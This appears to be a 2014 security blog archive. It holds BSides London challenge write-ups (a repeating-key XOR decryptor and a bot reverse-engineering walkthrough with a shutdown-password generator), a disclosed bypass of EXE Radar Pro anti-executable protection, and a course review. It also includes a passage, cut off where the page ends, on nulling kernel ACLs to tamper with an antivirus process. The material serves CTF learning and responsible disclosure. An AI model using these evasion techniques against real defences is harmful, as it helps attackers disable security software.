Pages

Wednesday, April 9, 2014

BSides London 2014 - The Geo-Cracker challenge

The description of this challenge can be found on BSides website. The mission is to crack the encryption algorithm and build a fast decryptor.

The encryption is described in the following python code:
#!/usr/bin/env python

import hashlib
import sys
import base64

pin = sys.argv[1]
code = sys.argv[2]
#code = open(sys.argv[2]).read().strip()
#print "Code: ", code

hashofpass = hashlib.sha1(pin).hexdigest()[:16]
LEN = len(hashofpass)
#print hashofpass

previous = ''
result = ""
for i in range(0,len(code)):
  nexta = ''
  if(previous == ''):
    nexta = chr(ord(code[i]) ^ ord(hashofpass[i % LEN]))
  else:
    nexta = chr(ord(code[i]) ^ ord(hashofpass[i % LEN]) ^ ord(previous)) 
  previous = nexta
  result += nexta

print base64.b64encode(result)

Some remarks from the previous code:
  • The length of the XOR key is always 16
  • The character set of the key is [0..f]
  • We also  know the character set of the message ([0..9-,. ])
  • More than one key can decrypt an encrypted text into a plain text in this range!
  • Even if it might not be obvious at first, this algorithm is actually a repetitive XOR with a 16 bytes key - simple!
 The following short function transforms a text encrypted by this algorithm into a repetitive XOR encryption:
# Transform input into repeating-key XOR
def transXOR(enc):
    enc = base64.b64decode(enc)
    enc2 = [ascii_d[c] for c in enc]

    result = [ascii_c[enc2[i] ^ enc2[i-1]]
                 for i in xrange(len(enc2)-1, 0, -1)][::-1]

    result = ascii_c[enc2[0]] + "".join(result)

#    print base64.b64encode(result) 
    return result
Each block, starting from the last to second, is XOR-ed with the previous one.

The following script solves this problem, and also validates the results and fixes possible errors in decryption, where multiple keys produce valid plaintexts.
#!/usr/bin/env python

import string
import base64
import sys 
import re

# Example of input:
# "BgAbHU8bSx5JBBEbV1haCwkNDhxLHlUFUwIOA1RBRAsJCwsOVQJHEkYJBgZUVVIHGwAHG0EWRBJOFw8AU0RCGhkdGhBeEUcKWwkFC15VQBQQCAsIXA1dDEQVAwpfVFICEhETD14EVgVUAhYfU1xfDAsODx1KGVIGWwMLAFNGXg4QEBMVRBFMD14PGRhPREkYHwUBHU8UQRJCEgoGVkFFFx4eGhtVGk4DXwgBCl5fSh4YAAIIUwBUBk4CCxxGTkIaHxEEA1EdShpPHBwTXUlOAQEGBg1dB0IVSAcHDF9UVgAcBwYaTRxKH0Ib" 

Debug = False

data = sys.argv[1] 

charset = "0123456789-,. "
key_charset = "0123456789abcdef"
key_charset2 = [ord(c) for c in key_charset]
keysize = 16
ascii_c = ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '\xa1', '\xa2', '\xa3', '\xa4', '\xa5', '\xa6', '\xa7', '\xa8', '\xa9', '\xaa', '\xab', '\xac', '\xad', '\xae', '\xaf', '\xb0', '\xb1', '\xb2', '\xb3', '\xb4', '\xb5', '\xb6', '\xb7', '\xb8', '\xb9', '\xba', '\xbb', '\xbc', '\xbd', '\xbe', '\xbf', '\xc0', '\xc1', '\xc2', '\xc3', '\xc4', '\xc5', '\xc6', '\xc7', '\xc8', '\xc9', '\xca', '\xcb', '\xcc', '\xcd', '\xce', '\xcf', '\xd0', '\xd1', '\xd2', '\xd3', '\xd4', '\xd5', '\xd6', '\xd7', '\xd8', '\xd9', '\xda', '\xdb', '\xdc', '\xdd', '\xde', '\xdf', '\xe0', '\xe1', '\xe2', '\xe3', '\xe4', '\xe5', '\xe6', '\xe7', '\xe8', '\xe9', '\xea', '\xeb', '\xec', '\xed', '\xee', '\xef', '\xf0', '\xf1', '\xf2', '\xf3', '\xf4', '\xf5', '\xf6', '\xf7', '\xf8', '\xf9', '\xfa', '\xfb', '\xfc', '\xfd', '\xfe', '\xff']
ascii_d = {}
for c in ascii_c:
    ascii_d[c] = ord(c)

def printd(s):
    if Debug:
        print s

# Transform input into repeating-key XOR
def transXOR(enc):
    enc = base64.b64decode(enc)
    enc2 = [ascii_d[c] for c in enc]

    result = [ascii_c[enc2[i] ^ enc2[i-1]]
                 for i in xrange(len(enc2)-1, 0, -1)][::-1]

    result = ascii_c[enc2[0]] + "".join(result)

#    print base64.b64encode(result) 
    return result

# Used below for single-char key xor decoding
def transpose(blocks):
    len_b = len(blocks)
    len_b0 = len(blocks[0])

    t = [[blocks[j][i] for j in xrange(len_b)] 
        for i in xrange(len_b0)]

    return t

def isGood(text):
    text2 = [ascii_d[c] for c in text]

    # Score: number of valid characters
    for o in text2:
        if o > 57:
            return 0
        
        if o < 44:
            if o == 32:
                continue
            else:
                return 0
        
        if o == 47:
            return 0

    return 1

# Check for possible errors in the decrypted coordinates
# Returns position of the invalid character
def check(coords):
    inv_pos = string.find(coords, '=')
    if -1 != inv_pos:
        return inv_pos % keysize

    inv_pos = string.find(coords, ';')
    if -1 != inv_pos:
        return inv_pos % keysize

    inv_pos = string.find(coords, '/')
    if -1 != inv_pos:
        return inv_pos % keysize

    inv_pos = string.find(coords, '--')
    if -1 != inv_pos:
        # Condition needed
        return inv_pos % keysize

    inv_pos = string.find(coords, ',,')
    if -1 != inv_pos: 
        return (inv_pos + 1) % keysize

    inv_pos = string.find(coords, ' ,')
    if -1 != inv_pos:
        return (inv_pos + 1) % keysize

    inv_pos = string.find(coords, ' .')
    if -1 != inv_pos:
        if coords[inv_pos+2] in list("0123456789"):
            return (inv_pos + 1) % keysize

    m = re.search('\d\-\d', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        if coords[inv_pos-1] in list("0123456789"):
            return (inv_pos + 1) % keysize

    # ,80,
    m = re.search(',\d\d,', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos + 3) % keysize

    # .21.
    m = re.search('\.\d\d\.', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos) % keysize
    
    # 7,.3
    m = re.search('\d,\.\d', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos + 2) % keysize

    # ,-60,
    m = re.search(',-\d\d,', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos + 4) % keysize

    # -73,
    m = re.search('-\d\d,', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos + 3) % keysize

    # -61-
    m = re.search('-\d\d-', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos + 3) % keysize   

    # -04.
    m = re.search('-0\d\.', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos + 1) % keysize  

    # 03.
    m = re.search('^0\d.', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos) % keysize  

    #,..
    if coords[0] == ',':
        return 0

    # 2,6199
    m = re.search('\d,\d\d\d\d', coords)
    if m:
        inv_pos = string.find(coords, m.group(0))
        return (inv_pos + 1) % keysize  

    inv_pos = string.find(coords, '.-')
    if -1 != inv_pos:
        pos = string.find(coords, '.', inv_pos + 1)
        if pos-inv_pos > 6:
            return (inv_pos + 1) % keysize
        else:
            return inv_pos % keysize

    return -1

# Decrypt/encrypt function are the same
def rxor(text, key):
    text2 = [ascii_d[c] for c in text]
    key2 = [ascii_d[c] for c in key]
    len_k = 16 # len(key)
    len_t = len(text)

    dec = [ascii_c[text2[i] ^ key2[i % len_k]] for i in xrange(0, len_t)]
    return "".join(dec)

if __name__ == "__main__":
    enc = transXOR(data)

    k = [0] * keysize

    blocks = [enc[i: i+keysize] for i in xrange(0, len(enc), keysize)]
    
    # Transpose the blocks and find the key for each transposed block
    # Leave the last incomplete block for easier calculations
    t_blocks = transpose(blocks[:len(blocks)-1])

    # all possible values for each byte of the key
    all_keys = []
    for i in xrange(keysize):
        b = t_blocks[i]
        b2 = [ascii_d[c] for c in b]

        
        d = {}
        keys_b = []
        for key in key_charset2:
            dec = "".join([ascii_c[c ^ key] for c in b2])
            ok = isGood(dec)
            if ok:
                d[dec] = key

        keys_b = [d[w] for w in d]

        all_keys.append(keys_b)

        # Take the first possible value. Check later!
        k[i] = keys_b[0]

    k = "".join([ascii_c[c] for c in k])
    coords = rxor(enc, k)
    
    while 1:
        inv = check(coords)
        if -1 == inv:
            break

        all_keys[inv].remove(all_keys[inv][0])
        k = k[:inv] + ascii_c[all_keys[inv][0]] + k[inv+1:]


        coords = rxor(enc, k)

    print coords.split(' ')[3]    # Original message

'''
To profile the code:
python -m cProfile -s time ./decode.py BgQaGRYXFxVAVBtERA8EAAICBw0bGhwEVVwNWFQIHR8eBAADBgkICE1YAlRCFBsaHxMWCBMZHwdaVgZQXgsSCQkKFBIRGhgaTVkDXEoYGBscGh8NFhkfB1ZfBFpbBhMICAsVFhMYHRhPVxhJSAMDDAoNBQAaEwsIXVMCVl8aGhQLDgwMAgoEHlZXAUlCHh8cDQ4IFBccHB5CSAZNTBsMCw4CAQYCGh4eVVkCUVoLCxENDA4SEhoVFkFBA0hCCQMNDwwODBYDBABLQRRAQRYWABwQEAwPAAMDX1cZUlwPGBwYGB8eEAgTEkFXDVlXBggOEwoNERIYGxxB
'''

The algorithm is generic and can be applied to decrypt any repetitive XOR encrypted text.

BSides London 2014 - The Bot Hunter challenge

The description for the challenge can be found on BSides website. The mission, as described there is "to investigate the executable and discover the bot’s command and control (C&C) infrastructure. Using the information you find, gain control of the botnet and shut it down". Sounds interesting :)


 1 General static analysis

1.1 PE file analysis

The PEiD tool does not find the bot to be packed in normal scanning mode:


But if we change to Deep Scan or Hardcore Scan:



We can successfully unpack the bot:

$ upx -d -v bot.exe -o bot_unpacked.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08 Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011

File size Ratio Format Name
-------------------- ------ ----------- -----------
65536 <- 33280="" 50.78="" bot_unpacked.exe="" font="" pe="" win32="">

1.2 Strings


If we use the strings tool on the unpacked binary we get some interesting information:
  • Addresses of IRC servers the bot will try to connect
  • Another link where the bot retrieves some information from (channel name)
  • The channel (and password) that the bot will join
  • Other IRC related commands and responses
  • A strange string which may be a potential password ('HCNFJT@')
  • References to anti-debug measures
  • High level functions to access Internet resources

http://ghowen.me/malfor/cnc.php?id=
&uid=
6667
malfor
%s%d
misery mystery
USER %s 0 * :%s
NICK %s
Anti-debug
No malware here, honest guv!
PING
Resistance is futile
bubblegum
MODE %s +i
JOIN %s %s
MODE %s +k %s
TOPIC %s :%s
PRIVMSG
hello
PRIVMSG %s :Hi %s, I'm a bot that's part of the BSides London Challenge.
IDENT
PRIVMSG %s :%s / %s
SHUTDOWN
PRIVMSG %s :bingo - botnet shutting down
QUIT :Botnet shutdown
Botnet shutdown
Botnet has been shutdown - restart bot?
PRIVMSG %s :so close yet so far... wrong pw!
PRIVMSG %s :wrong pw

#malfor
irc.efnet.fr
irc.swepipe.se
irc.efnet.net
193.163.220.3
HCNFJT@

InternetCloseHandle
InternetOpenUrlA
InternetReadFile
InternetOpenA

If we attempt to manually retrieve the information from the URL extracted before, we get the name of the irc channel:
$ wget http://ghowen.me/malfor/cnc.php?id=673
$ cat cnc.php\?id\=673
#malfor-wales

1.3 IDA Pro

We can get more information by statically analysing the file with IDA Pro.
The main function:
  • Checks if the bot is still running (Function renamed as CheckIfRunning).
  • Checks if any debugger is present (Using IsDebuggerPresent function).
  • Initialises socket functionality (WSAStartup).



It then:
  • Gets the hostname.
  • Get the username of the machine.
  • Calls a function to reqeust the channel name from ghowen.me (Function renamed as GetChanName).
  • Tries to connect to the first IRC server (out of a list of 4) – irc.efnet.fr.
  • Executes its main bot functionality (Function renamed as mainLoop).
  • If the IRC server cannot be contacted, Sleeps for a while (30 seconds) then contacts the next one.

The mainLoop function is not obfuscated, making it easy to decipher the bot's functionality:
  • There is a loop that receives commands and parses them.
  • The bot seems to respond to hello, ident and shutdown commands, case insensitive. We will verify this later.
  • There is a block of code which deals with the bot shutdown.
  • The blocks before the shutdown functionality deal with parsing the password typed as the argument for the shutdown command.
  • The password checking block below (function renamed as verifyPass) uses as input the string we found previously – 'HCNFJT@'. This is a measure against static analysis – the string will be modified at run-time by another function. 
    Password check
Shutdown block code

  • If the password is not the correct one, another decision block presents 2 different messages. If the password was equal to the dynamic version of 'HCNFJT@', the message is: 'so close yet so far... wrong pw!'. Else, the message is simply 'wrong pw'. (Fast forward: that string will become 'iamborg')
    Second password check


2 General dynamic analysis

2.1 Registry

I've used the regshot tool to compare two snapshots of the registry, as well as the modified files, before and after running the bot.


No suspicius registry keys are created or modified when running the bot. However, interestingly we see that index.dat file is modified. This is a proof that the bot uses IE HTTP access or download functions, which were also extracted by the strings tool.



2.2 DNS

Using apateDNS tool we can redirect all DNS requests to a server of our choice. This method works because the server that the bot connects to are specified using hostnames (3/4 IRC servers and the initial server which provides the channel name).

We see in the picture below that the bot tries to resolve the following addresses:
ghowen.me
irc.efnet.fr

We know the first URL is over HTTP from strings output. If we set up a netcat listener on the machine spcified in the DNS reply field, we can also see the request:

$ sudo nc -lvvvp 80
[sudo] password for liv:
Listening on [0.0.0.0] (family 0, port 80)
Connection from [192.168.1.65] port 80 [tcp/http] accepted (family 2, sport 34051)
GET /malfor/cnc.php?id=firefly&uid=liv HTTP/1.1
User-Agent: AppleMac
Host: ghowen.me

This is transmitting the hostname and current user name, and will receive the channel name (if the address is not redirected).


2.3 Traffic capture

We can use Wireshark to view all the network traffic generated by the bot, when connected to the Internet.

What we'll see in the capture:
  • DNS requests to obtain the IP addresses of the hosts mentioned above.
  • A TCP stream with ghowen.me domain to obtain the channel name.
  • Another TCP stream representing the IRC activity. Here we see again the channel name and the password:
/j #malfor-wales bubblegum


2.4 Debugging

For this we'll use OllyDbg. The unpacked bot executable refuses to run and prsents the message:

As we already know, this uses the IsDebuggerPresent anti-debugging technique, we'll bypass it:
  • The Phant0m plugin is the easiest option, if we check the Hide fom PEB option (The IsdDebuggerPresent function accesses a member of this structure – BeingDebugged field):
    Phant0m plugin options

  • The 'IsDebuggerPresent' check is easy to bypass manualy – we just patch the function to return 0 after we load the executable, before letting it run in the debugger (This needs to be done every time the program is debugged. The alternative is to patch the binary).

IsDebuggerPresent - before patching
IsDebuggerPresent - after patching



2.5 Simulate the IRC server

Using ApateDNS we redirect the queries for the IP of the IRC server to a controlled machine. We also set up an IRC server on thet machine (I've used ircd-irc2, no configuration needed, just installed it and started the service).
If the bot cannot connect to the first domain and get the channel name, it will connect to #malfor instead of #malfor-wales. No problems.
The we can use an IRC client to connect to the local server and interact with the bot in a controlled environment.

2.6 Interact with the bot

We can start the bot in OllyDbg and interact with it to watch the flow. It responds to the hello, ident and shutdown commands.

/privmsg uop11204 hello
/privmsg uop11204 ident
/privmsg uop11204 shutdown mypass

2.7 Shutdown

2.7.1 First password

If we watch the execution flow of the program for shutdown command, we see the following potential password instead of the encoded string: 'iamborg'.
Potential password: iamborg
 
Unfortunately, if we try it, it's not the correct one:
so close yet so far... wrong pw!

2.7.2 Passphrase algorithm

The string from above is just an input (a key actually) for the password checking algorithm. This was stored obfuscated in the binary, as a protection measure against static analysis. If we trace this string in Ida Pro, we find the function which initialises it in the main loop (renamed as InitializeKey in the image below).
We can reconstruct the key building algorithm from the code block below using the following short python code snippet:

# build keyphrase
s = "HCNFJT@"
k = 0x21
print "".join([chr(ord(s[i]) ^ (k + i)) for i in xrange(len(s))])

iamborg

Initialise obfuscation key


2.7.3 Real password

While we're still debugging, we'll also see the real password as a string, before a comparison it's made:



We observe that it's dependent on two inputs: the username that's issueing the command and the passphrase 'iamborg'.
In this case, the final password was observed to be “JQLAYSSWWCE“.



2.7.4 Password checking algotihm

The password building algotihm is visible in the function below:
VerifyPass function

If we follow the code, the function takes the two inputs – the username and the passphrase, adds the ASCII codes for letter i of each string, takes the modulo 0x1a and adds 0x41 (if the username is longer than the passphrase, it's done repeatedly).

2.7.5 Code

The simples way to dscribe the algorithm is using code:
# password building
username = sys.argv[1]
key = "iamborg"
print "".join([chr((ord(username[i]) + ord(key[i % len(key)])) % 0x1a + 0x41) for i in xrange(len(username))])

This takes as input the desired username and produces the corresponding password to shutdown the bots.

2.7.6 Miscellaneous

The code which parses the data received from the network using recv function was tested for possible buffer overflows. The size of the buffer was larger than the number of bytes read by recv() system call.

There is a section of code which should remove a key from registry (in case the bot is not restarted after shutdown) but the function that deletes the key returns the error INVALID_HANDLE, as the registry key handle is NULL.
Delete bot from registry

Saturday, March 8, 2014

Bypass Anti-Executable Protection

This shows some methods to bypass client-side anti-executable protection, with examples from EXE Radar Pro software. To do this, we can:
  • Use Thread Local Storage callbacks, which were not blocked, to run arbitrary code. 
  • Masquerade as a white-listed library to execute code past the filters. 
  • Execute 16-bit executables, which were not blocked or registered by the ERP application filters.

1 TLS Callbacks

1.1 Description

Processes and Threads

An application consists of one or more processes. A process is an executing program. One or more threads run in the context of the process. A thread is the basic unit to which the operating system allocates processor time. A thread can execute any part of the process code, including parts currently being executed by another thread.

Thread Local Storage

All threads of a process share its virtual address space. The local variables of a function are unique to each thread that runs the function. However, the static and global variables are shared by all threads in the process. Thread local storage (TLS) enables multiple threads of the same process to use a global index allocated by the TlsAlloc function to store and retrieve a value that is local and unique to each thread.

TLS Callbacks

The TLS area can also be used to store code. Functions can be defined per thread that will be called before execution. When Windows loads the binary into memory, if there is any code defined in TLS it will execute it, before starting executing instructions from main entry point of the executable.

Detect

We can use PEview to inspect the TLS Directory, locate in the .DATA section:

1.2 Bypass

There is no simple official way of programatically create TLS callbacks. Nynaeve's tutorial on compiling and linking support for TLS reveals important details. The compiler and linker use a variable of type IMAGE_TLS_DIRECTORY (declared in tlssup.c) that is statically linked into every program to represent the TLS directory. The TLS directory is part of the PE header of an executable. The linker looks for a variable by the name of _tls_used and ensures that in the on-disk image, it overlaps with the actual TLS directory in the final image. More information regarding the members of the IMAGE_TLS_DIRECTORY structure are available online. 
The created program will register two TLS callbacks. The second one calls ExitProcess() at the end, so the code of the main() function is actually never executed
The program will execute the code in the two TLS callbacks and exit, without being detected:


2 Whitelisted NVCPL.DLL

2.1 Description

The default whitelist contains a section with allowed command lines. The first command string allowed to run is specified like this:

rundll32 NVCPL.DLL,NvCplHandleHotplugEvents *


NVCPL is the NVidia driver. The syntax for rundll32 is:

> Rundll32.exe DLL_NAME,Entry_Point Optional_Argument

Parameters:

DLL_NAME - If DLL_NAME is not specified with full path, Rundll32 will search for it in the directories defined in the %PATH% environment variable. To ensure the correct DLL is called, it’s recommended to specify it in full path.

Entry_Point - The name of the exported function, that’s to be called by Rundll32.exe.

Optional Argument - Non-compulsory parameters to be passed to the function.

2.2 Bypass

We can create a DLL with the same name in the current folder, with a function named “NvCplHandleHotplugEvents”. In case the NVIDIA driver doesn't exist, the function from our crafted DLL will be called. We can then execute code without being blocked by ERP, by using the same command line mentioned in the whitelist:
This event is listed as a whitelisted command being run:


3 16 bit .COM executables

3.1 Description

COM files are a type of executables. The .COM executable has no header and contains only code and data. It lacks relocation information and it is loaded by the operating system at a pre-set address, at offset 0100h. Support for legacy DOS and 16-bit Windows programs is available in 32-bit versions of Windows through NTVDM (Virtual DOS Machine).

3.2 Bypass

It is possible to run a .com executable without being detected by ERP. Some tests revealed that NTVDM.exe was registered as an allowed process in the events list. The following simple executable prints a message and exits without even being registered in the events list:


The source code for the demos can be found here.


Time-line


08/09/2013 - Vendor notified about TLS Callbacks vulnerability

09/09/2013 - Vendor acknowledged TLS Callbacks issue
09/09/2013 - TLS Callbacks issue is addressed in a new beta version - 3.0
16/09/2013 - Vendor notified about NVCPL library issue and 16-bi COM files code execution
19/09/2013 - Vendor acknowledged the previous 2 issues. These are reported as corrected in 3.0 version which will be released 

References
A Quick Look At TLS Callbacks
R4ndoms Tutorial #23: TLS Callbacks
Thread Local Storage, part 3: Compiler and linker support for implicit TLS
Thread Local Storage - MSDN
COM file - Wikipedia
Virtual DOS Machine - Wikipedia
 

Sunday, March 2, 2014

Cracking the Perimeter - Course and Exam Review

After OSCP exam, I was eager to start the CTP training as soon as possible. The course is mostly assembly based. I've spent most of the time in OllyDbg. Besides that, the course has a also web based module, and a networking module. All of them are very interesting and require extra reading and practice to fully understand and be able to reproduce the techniques (during the stressful exam hours!).

Before being able to register for the CTP training, you're required to pass a short, fun, multi-staged challenge. You can attempt the challenge before paying for the actual course. The challenge starts on the web and finishes with some low-level assembly stuff. If you liked the challenge you'll definitely love the course.

Reading through other reviews, I didn't dive straight into the course after the challenge. I prepared by going through various exploit development resources. The following sites group together a lot of techniques and are very detailed and relevant:
Corelan exploit development tutorials
FuzzySecurity Exploit tutorials

One month of lab time is more than enough to complete the exercises from all the chapters in the course, but extra work will prove very useful. Also, as a prerequisite, python and some reverse engineering skills helped a lot. Especially for the manual shellcode encoding module, which requires some automation. Fun times!

The exam is not easy and requires concentration (and inspiration:), not only a good understanding of the techniques used in the lab. The problems cover all the topics from the lab (including the one you're thinking "I won't get this, it's impossible to get it done in time!"). Some problems have small tricks (which may seem bigger, depending on how confident you are about the topic and ultimately how much you've practised).
I've used both the allocated days for the exam, with a lot of sleep in between (~8h). It's very important not to panic and, if something doesn't work, keep hammering :)

Overall, I learned a lot while preparing for the exam. The course is stimulating and very interesting, even though some may say that now there are new techniques.

In the end you get out what you put in. If you need motivation, find your dinosaur and do it!

Sunday, February 23, 2014

Change Windows kernel objects' permissions

 

 Goal

This post shows how to NULL out ACLs of a privileged process or of a protected process and is based on the first trick described in [2] by Cesar Cerrudo.
  • Doing this can allow injecting code into the specific process from a less privileged process.
  • Another usage would be to bypass access restrictions of an anti-virus process, as in the example below.
The following technique can be used to:
    • Better understand kernel objects and how to access them !!
    • Remove ACLs of Windows objects (processes, threads, tokens, ..)
    • Replace security desciptors for Windows objects
    • Terminate difficult to kill processes
    • Set other privileges to a process token
    • Replace a process token

    Technique

    Getting started with LiveKD
    LiveKD [3] is a tool that simulates local kernel debugging. This program creates a "snapshot" dump file of the kernel memory, without actually stopping the kernel while this snapshot is made.
    We'll use it to take a peek into the kernel objects. I've downloaded livekd.exe, placed it in the Debuggers folder of WinDDK (C:\WinDDK\7600.16385.1\Debuggers) then run it from an Administrator console.


    Process search
    We'll quickly search for our targeted process, avp.exe in this case.
    kd> !process 0 0 avp.exe
    PROCESS 8552a030  SessionId: 0  Cid: 058c    Peb: 7ffdf000  ParentCid: 021c
        DirBase: 3502b000  ObjectTable: 9db79008  HandleCount: 2421.
        Image: avp.exe
    


    Process details
    kd> !process 8552a030 1
    PROCESS 8552a030  SessionId: 0  Cid: 058c    Peb: 7ffdf000  ParentCid: 021c
        DirBase: 3502b000  ObjectTable: 9db79008  HandleCount: 2421.
        Image: avp.exe
        VadRoot 855e35c8 Vads 896 Clone 0 Private 47284. Modified 54609. Locked 9.
        DeviceMap 89c089e8
        Token                             a89ca9f0
        ElapsedTime                       00:04:32.758
        UserTime                          00:00:03.655
        KernelTime                        00:00:06.269
        QuotaPoolUsage[PagedPool]         0
        QuotaPoolUsage[NonPagedPool]      0
        Working Set Sizes (now,min,max)  (7583, 50, 345) (30332KB, 200KB, 1380KB)
        PeakWorkingSetSize                85004
        VirtualSize                       616 Mb
        PeakVirtualSize                   781 Mb
        PageFaultCount                    331536
        MemoryPriority                    BACKGROUND
        BasePriority                      8
        CommitCharge                      56081
    
    

    Process token
    We can verify the process' token as follows:
    kd> dt nt!_TOKEN a89ca9f0
       +0x000 TokenSource      : _TOKEN_SOURCE
       +0x010 TokenId          : _LUID
       +0x018 AuthenticationId : _LUID
       +0x020 ParentTokenId    : _LUID
       +0x028 ExpirationTime   : _LARGE_INTEGER 0x6207526`b64ceb90
       +0x030 TokenLock        : 0x84b44090 _ERESOURCE
       +0x034 ModifiedId       : _LUID
       +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
       +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
       +0x074 SessionId        : 0
       +0x078 UserAndGroupCount : 5
       +0x07c RestrictedSidCount : 0
       +0x080 VariableLength   : 0x70
       +0x084 DynamicCharged   : 0x400
       +0x088 DynamicAvailable : 0
       +0x08c DefaultOwnerIndex : 1
       +0x090 UserAndGroups    : 0xa89cabcc _SID_AND_ATTRIBUTES
       +0x094 RestrictedSids   : (null)
       +0x098 PrimaryGroup     : 0x91d42dc8 Void
       +0x09c DynamicPart      : 0x91d42dc8  -> 0x101
       +0x0a0 DefaultDacl      : 0x91d42dd4 _ACL
       +0x0a4 TokenType        : 1 ( TokenPrimary )
       +0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
       +0x0ac TokenFlags       : 0x2800
       +0x0b0 TokenInUse       : 0x1 ''
       +0x0b4 IntegrityLevelIndex : 4
       +0x0b8 MandatoryPolicy  : 1
       +0x0bc LogonSession     : 0x89c01710 _SEP_LOGON_SESSION_REFERENCES
       +0x0c0 OriginatingLogonSession : _LUID
       +0x0c8 SidHash          : _SID_AND_ATTRIBUTES_HASH
       +0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
       +0x1d8 pSecurityAttributes : 0xa68bdef0 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
       +0x1dc VariablePart     : 0xa89cabf4
    

    Objects' details
    Kernel objects (process, threads, tokens, ..) all have a header which contains a field called SecurityDescriptor. This contains the ACEs applied to the current object (This is greatly described in [4], Part 1).
    kd> dt nt!_OBJECT_HEADER
       +0x000 PointerCount     : Int4B
       +0x004 HandleCount      : Int4B
       +0x004 NextToFree       : Ptr32 Void
       +0x008 Lock             : _EX_PUSH_LOCK
       +0x00c TypeIndex        : UChar
       +0x00d TraceFlags       : UChar
       +0x00e InfoMask         : UChar
       +0x00f Flags            : UChar
       +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
       +0x010 QuotaBlockCharged : Ptr32 Void
       +0x014 SecurityDescriptor : Ptr32 Void
       +0x018 Body             : _QUAD
    

    Security Descriptors
    We first get the address of the object's headers:
    kd> !object 8552a030
    Object: 8552a030  Type: (84a38978) Process
        ObjectHeader: 8552a018 (new version)
        HandleCount: 8  PointerCount: 1008
    

    Then view the header's structure:
    kd> dt nt!_OBJECT_HEADER 8552a018
       +0x000 PointerCount     : 0n1008
       +0x004 HandleCount      : 0n8
       +0x004 NextToFree       : 0x00000008 Void
       +0x008 Lock             : _EX_PUSH_LOCK
       +0x00c TypeIndex        : 0x7 ''
       +0x00d TraceFlags       : 0 ''
       +0x00e InfoMask         : 0x8 ''
       +0x00f Flags            : 0 ''
       +0x010 ObjectCreateInfo : 0x82949480 _OBJECT_CREATE_INFORMATION
       +0x010 QuotaBlockCharged : 0x82949480 Void
       +0x014 SecurityDescriptor : 0x89c05eee Void
       +0x018 Body             : _QUAD
    

    To manually view the security ACEs, we display the structure after zero-ing the last 3 bits ("The ­security descriptor pointer in the object header uses some of the low-order bits as flags, and these must be zeroed before following the pointer" [4]):
    kd> !sd 0x89c05eee & -8 1
    ->Revision: 0x1
    ->Sbz1    : 0x0
    ->Control : 0x8814
                SE_DACL_PRESENT
                SE_SACL_PRESENT
                SE_SACL_AUTO_INHERITED
                SE_SELF_RELATIVE
    ->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
    ->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
    ->Dacl    :
    ->Dacl    : ->AclRevision: 0x2
    ->Dacl    : ->Sbz1       : 0x0
    ->Dacl    : ->AclSize    : 0x3c
    ->Dacl    : ->AceCount   : 0x2
    ->Dacl    : ->Sbz2       : 0x0
    ->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
    ->Dacl    : ->Ace[0]: ->AceFlags: 0x0
    ->Dacl    : ->Ace[0]: ->AceSize: 0x14
    ->Dacl    : ->Ace[0]: ->Mask : 0x001fffff
    ->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
    
    ->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
    ->Dacl    : ->Ace[1]: ->AceFlags: 0x0
    ->Dacl    : ->Ace[1]: ->AceSize: 0x18
    ->Dacl    : ->Ace[1]: ->Mask : 0x00121411
    ->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)
    
    ->Sacl    :
    ->Sacl    : ->AclRevision: 0x2
    ->Sacl    : ->Sbz1       : 0x0
    ->Sacl    : ->AclSize    : 0x1c
    ->Sacl    : ->AceCount   : 0x1
    ->Sacl    : ->Sbz2       : 0x0
    ->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
    ->Sacl    : ->Ace[0]: ->AceFlags: 0x0
    ->Sacl    : ->Ace[0]: ->AceSize: 0x14
